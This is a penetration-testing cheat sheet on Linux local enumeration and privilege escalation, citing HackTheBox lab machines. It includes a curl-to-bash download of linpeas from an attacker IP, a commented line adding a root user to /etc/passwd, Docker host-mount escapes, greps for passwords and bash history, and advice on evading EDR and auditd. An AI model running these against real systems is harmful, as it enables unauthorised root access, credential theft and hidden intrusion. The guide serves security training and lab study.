Linux Local Enumeration
#Overview
Linux local enumeration is performed after gaining initial access to a Linux host. The goal is to identify privilege escalation vectors: SUID/GUID binaries, sudo misconfigurations, writable system files, cron jobs, running services, kernel exploits, capabilities, Docker access, and credential leaks. Automated tools provide broad coverage, but manual enumeration of specific vectors is essential for a thorough assessment and for evading detection.
#Prerequisites
- Tools: linpeas.sh, pspy (64/32), LinEnum, GTFOBins (reference), linux-exploit-suggester
- Access Level: Shell access as any user (low-privilege or standard user)
- File Transfer Methods: curl, wget, netcat, Python HTTP server, scp
#Detection & Enumeration
#Automated Enumeration Tools
linpeas.sh (Primary Tool)
# Download and execute from attacker machine via HTTP
# Attacker: sudo python3 -m http.server 3000
curl http://10.10.14.41:3000/linpeas.sh | bash
# Download first, then execute (less network traffic)
wget http://10.10.14.41:3000/linpeas.sh -O /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh | tee /tmp/linpeas_output.txt
# Key linpeas sections to review:
# - "Interesting Files" (SUID/GUID, writable files)
# - "Sudo Version" and sudo rules
# - "Software Information" (installed packages)
# - "Processes, Cron, Services, Timers"
# - "Container" (Docker, LXC)
# - "Active Ports" (internal services)
BASH
pspy (Unprivileged Process Monitor)
# Monitor processes without root (shows cron jobs, scheduled tasks, services)
# Download appropriate binary (pspy64 for 64-bit, pspy32 for 32-bit)
wget http://10.10.14.41:3000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
# Key patterns to watch:
# - Commands run as root that reference user-writable files
# - Cron jobs and their execution paths
# - Hidden internal services starting/stopping
BASH
#Manual Enumeration Commands
SUID/SGID Binary Search
# Find all SUID binaries (owned by root, execute as root)
find / -type f -perm -4000 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
# Find all SGID binaries
find / -type f -perm -2000 2>/dev/null
# Find all SUID and SGID (both)
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null
# Key SUID binaries to investigate (check GTFOBins):
# /usr/bin/doas -- alternative to sudo
# /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
# /usr/bin/pkexec -- Polkit (CVE-2021-4034)
# Any custom SUID binary in non-standard location
BASH
Capabilities
# List all capabilities on the system
getcap -r / 2>/dev/null
# Dangerous capabilities to look for:
# cap_setuid -- can change UID to root
# cap_chown -- can change file ownership
# cap_dac_read_search -- can read any file (bypass DAC)
# cap_dac_override -- can bypass file permissions
# cap_sys_admin -- broad admin capabilities
# cap_sys_ptrace -- can ptrace any process
# cap_net_raw -- raw sockets
BASH
Sudo Privileges
# Check sudo rights for current user
sudo -l
# Check sudo version (for known vulnerabilities)
sudo --version
# Key sudo misconfigurations:
# (ALL) NOPASSWD: ALL -- full root access
# (root) NOPASSWD: /usr/sbin/nginx -- can load custom nginx config as root
# (ALL : ALL) NOPASSWD: /usr/bin/dstat -- can run dstat with plugins
# (root) SETENV: ... -- can preserve environment (LD_PRELOAD)
# Always check GTFOBins for sudo binary exploitation paths:
# https://gtfobins.github.io/
# If sudo allows EDITOR/VISUAL env vars:
sudo EDITOR=vim -u /root/.bashrc ...
BASH
writable System Files
# Check if /etc/passwd is writable
ls -la /etc/passwd
# If writable: add a new root user
# echo "hacker:$1$salt$hash:0:0:root:/root:/bin/bash" >> /etc/passwd
# Check if /etc/shadow is writable
ls -la /etc/shadow
# If writable: replace root hash or create new user
# Check for world-writable files
find / -type f -perm -o+w 2>/dev/null | grep -v '/proc\|/sys\|/dev'
# Check home directories for SSH keys
find /home -name id_rsa* 2>/dev/null
find /home -name authorized_keys 2>/dev/null
find /root -name id_rsa* 2>/dev/null
BASH
Cron Jobs
# System crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/
# Systemd timers (modern alternative to cron)
systemctl list-timers --all
systemctl list-timers
# Check if cron job scripts are writable
find /etc/cron* -type f -writable 2>/dev/null
# Common cron job privilege escalation:
# - Cron script is world-writable
# - Cron script references binaries without absolute path
# - Cron PATH includes world-writable directories
BASH
Running Processes and Internal Services
# List all processes (with command lines)
ps aux
ps auxwww # full command lines (no truncation)
# List listening ports (ss is modern replacement for netstat)
ss -tlnp # TCP listening
ss -ulnp # UDP listening
ss -tlnpu # Both TCP and UDP
netstat -tlnp # Alternative (older systems)
# Internal services that may not be externally exposed:
# 127.0.0.1:3306 -- local MySQL/MariaDB
# 127.0.0.1:3000 -- development servers
# 127.0.0.1:8080 -- internal web apps
# 127.0.0.1:6379 -- Redis (check for auth bypass)
# 127.0.0.1:27017 -- MongoDB
# Check for interesting processes
ps aux | grep -i 'mysql\|mongo\|redis\|docker\|apache\|nginx\|tomcat\|jenkins'
BASH
Kernel Version and Exploit Suggestion
# Get kernel version
uname -a
cat /proc/version
cat /etc/os-release
cat /etc/lsb-release
# linux-exploit-suggester (locally on attacker machine or target)
./linux-exploit-suggester.sh
./les.sh
# Check for known vulnerable kernel versions
searchsploit linux kernel <version>
BASH
Docker Enumeration
# Check if we're in a Docker container
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv
# Check Docker group membership
id
groups
# If in docker group:
docker ps # list running containers
docker images # list available images
docker run -v /:/host -it ubuntu chroot /host bash # mount host filesystem
# Check Docker socket access
ls -la /var/run/docker.sock
# If writable by current user:
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host
# Check Docker version
docker --version
# Older versions may have known container escape CVEs
BASH
Credential Hunting
# Search for passwords in common config files
grep -r "password" /var/www/ 2>/dev/null
grep -r "passwd" /etc/ 2>/dev/null | grep -v "^#"
grep -r "DB_PASS\|DB_PASSWORD\|db_password" /var/www/ 2>/dev/null
# Web config files to check
cat /var/www/html/*/conf/conf.php 2>/dev/null
cat /var/www/html/*/wp-config.php 2>/dev/null
cat /var/www/html/*/.env 2>/dev/null
find /var/www -name "*.conf" -o -name "*.config" 2>/dev/null
# Bash history
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null
# Check /etc/passwd for users with shells
cat /etc/passwd | grep -v nologin | grep -v false
BASH
#Common Pitfalls
find / -perm -4000 2>/dev/nullis noisy and slow. Narrow the scope with specific directories first:/usr/bin,/usr/lib,/usr/local/bin.- Not checking GTFOBins for SUID and sudo binaries. A seemingly harmless binary like
systemctl,journalctl,find, orlesswith SUID can lead directly to root. - Using
ps auxwithoutwwwto see full command lines. Arguments beyond the truncated width may reveal sensitive credentials (e.g.,mysql -u root -p'password'). - Ignoring internal services on localhost. Many databases and development servers listen on
127.0.0.1only and are not caught by external port scans. - Missing writable cron scripts. If a cron job runs a script from a user-writable directory, replacing that script with a reverse shell provides root.
- Downloading linpeas and running it without
chmod +xfirst. - Running linpeas without redirecting output to a file -- the output is long and terminal scroll-back may not capture it.
#OPSEC Considerations
- linpeas.sh generates thousands of filesystem access operations (stat, read, open). This level of activity from a single process is anomalous and triggers EDR/auditd alerts on monitored systems.
find / -perm -4000traverses the entire filesystem and generates a large volume ofstatsyscalls. Modern EDR solutions (Falco, auditd rules) flag recursive filesystem scans.ps auxandss -tlnpare normal system utilities and blend in with legitimate admin activity. They are the stealthiest enumeration options.- Reading
/etc/shadowtriggers audit events even if it fails (permission denied). Attempting to read protected files is logged. - Docker socket access is a well-known privilege escalation path and should be monitored. Accessing the Docker socket from a non-authorized user is a clear compromise indicator.
- Bash history inspection is completely passive and generates no additional audit events (you are reading an existing file that the user's shell already reads).
- Running linpeas with
| bashdirectly from curl downloads and executes in one step, which is flagged by many security products (curl-to-bash pattern). Downloading to disk first and executing locally is slightly stealthier but still suspicious. - Internal port scanning from a compromised host (checking localhost services) is a strong IOC, especially if followed by connection attempts to those services.
#Post-Exploitation Value
- SUID exploitation and sudo misconfigurations are the most common Linux privilege escalation paths.
- Credentials found in web configuration files (
conf.php,.env) often provide SSH access or lateral movement credentials. - Cron jobs are prime targets for persistence and privilege escalation.
- Internal database services accessible via localhost may contain sensitive data or credentials for other hosts.
- Docker group membership or Docker socket access provides a near-certain path to root.
- Kernel exploits remain viable on unpatched systems and Linux Exploit Suggester provides targeted recommendations.
#Cross-References
#Tool References
| Tool | Description | Link |
|---|---|---|
| linpeas.sh | Comprehensive Linux privilege escalation enumerator | https://github.com/peass-ng/PEASS-ng |
| pspy | Unprivileged process monitor (cron jobs, services) | https://github.com/DominicBreuker/pspy |
| LinEnum | Older Linux enumeration script | https://github.com/rebootuser/LinEnum |
| GTFOBins | Curated list of Unix binaries for breaking out of restricted shells | https://gtfobins.github.io/ |
| linux-exploit-suggester | Kernel exploit suggestion tool | https://github.com/mzet-/linux-exploit-suggester |
| linux-exploit-suggester-2 | Next-gen kernel exploit suggester | https://github.com/jondonas/linux-exploit-suggester-2 |
#Source Machines
- BoardLight (Easy, Linux) -- linpeas reveals SUID enlightenment binaries (CVE-2022-37706), privilege escalation to root
- Broker (Easy, Linux) -- sudo -l reveals nginx config loading as root, custom config with root user + DAV PUT writes SSH key
- Soccer (Easy, Linux) -- find / -perm -4000 discovers doas (alternative to sudo) with dstat plugin exploitation